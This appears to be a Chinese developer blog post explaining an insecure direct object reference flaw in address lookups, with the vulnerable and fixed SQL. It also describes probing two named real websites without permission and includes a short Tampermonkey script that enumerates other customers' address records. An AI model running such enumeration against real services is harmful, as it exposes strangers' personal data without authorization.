去年公司南山接了一個大單,由於項目沒有類似的借鑒完全要靠自己摸索,然后是做一版感覺不行又要調整,反反復復修改,然后新功能又要開發,一時一個人根本忙不過來,非常頭痛,為工作更方便干脆安營扎山寨在客戶那邊,邊開發邊討論解決方案,每天都是半夜才回到家。但是由於新功能要開發,舊的版面也在做調整,然后也有些許bug要修補,一個人工作量太大了,一邊客戶要求進度快,所以很多細節就忽略了,但也這樣埋下了安全隱患。工作持續三個月左右,終於是要開發完成了,心中甚是高興,終於一個項目又要完成了。但也這個時候,客戶找一個專業測試員,專門測試系統的漏洞,之前埋下的禍根就顯現出來了,一下找到7、8個漏洞,其中包括在線支付,客戶信息的安全等。
舉個栗子客戶信息是怎么不安全的
在查詢用戶信息的時候使用sql
select top 1 * from addr where id=地址id
在正常情況下,這個是肯定是沒有問題的,用戶的地址id是唯一。但是呢,如果在web網站下,使用get請求去獲取,用戶隨便修改一個id,那么可能是獲取到別的客戶的信息了,這時候其他客戶的信息嚴重泄露了。
如web地址get地址是/user/deliveryAddress/55,用戶輸入的是/user/deliveryAddress/56
所似我們正確做法是,從當前登錄的session中獲取用戶id,同時使用用戶id和地址id對比,這樣才不會出錯。
select top 1 * from addr where id=地址id and userid=用戶id
確保此地址的信息是當前用戶的
這種錯誤是不是只我才犯過呢?其實不然
前幾天某蛋糕被曝不是當天新鮮制作,內部管理亂得一塌糊塗,其實之前也在他們家買過蛋糕,於是好奇去了他們官網看一下,無意中發現在用戶修改地址信息的時候也是用戶我之前的方式獲取信息/user/deliveryAddress/id 。
做為一個it,之前我就犯過這種錯誤,好奇之下,我隨便修改了一個地址id,果然地址信息改變了,看到其他用戶的信息。后來為了驗證,我在tampermonkey上寫一個循環
// ==UserScript== // @name xfxb // @namespace http://tampermonkey.net/ // @version 0.1 // @description try to take over the world! // @author You // @match https://www.xfxb.net/* // @require http://code.jquery.com/jquery-1.11.0.min.js // @grant none // ==/UserScript== (function() { 'use strict'; for(var i=1000;i<1005;i++){ $.get("/user/deliveryAddress/"+i, function(result){ console.log(result); }); } // Your code here... })();
出現了以下信息
輕松拿到其他用戶的地址信息,看來其他人也同樣會犯這種錯誤。
@某蛋糕網站的It,你的漏洞了該修復了
記錄踩過的坑,希望其他人少踩到相同的坑,並且能在CNBLOGS這找到解決辦法
######################################################### 分割線 2018/12/9 ###############################################################################
持續更新
6人游旅行網 手機版
隨便登錄一個帳號
登錄頁面:http://m.6renyou.com/member/
打開訂單頁面:
http://m.6renyou.com/ordercext/getTripList?id=246039&t=
修改訂單id更可以查看其他人訂單信息